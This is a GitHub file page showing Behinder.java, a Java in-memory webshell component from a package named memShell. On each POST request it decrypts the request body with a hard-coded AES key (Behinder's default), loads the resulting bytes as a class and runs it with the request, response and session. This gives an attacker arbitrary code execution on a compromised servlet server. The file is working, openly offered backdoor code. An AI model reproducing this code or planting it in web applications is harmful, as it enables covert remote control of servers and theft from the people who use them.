-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBehinder.java
More file actions
41 lines (37 loc) · 1.27 KB
/
Behinder.java
File metadata and controls
41 lines (37 loc) · 1.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.memShell;
import java.util.ArrayList;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.memShell.redefine.MyRequest;
import org.memShell.redefine.MySession;
public class Behinder {
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public void shell(ServletRequest request, ServletResponse response) throws Exception {
String method = MyRequest.getMethod(request);
if (method.equals("POST")) {
String k = "8d777f385d3dfec8";
Object session = MyRequest.getSession(request);
MySession.putValue(session, "u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
List object = new ArrayList();
object.add(request);
object.add(response);
object.add(MyRequest.getSession(request));
new U(this.getClass().getClassLoader())
.g(c.doFinal(
new sun.misc.BASE64Decoder().decodeBuffer(MyRequest.getReader(request).readLine())))
.newInstance().equals(object);
}
}
}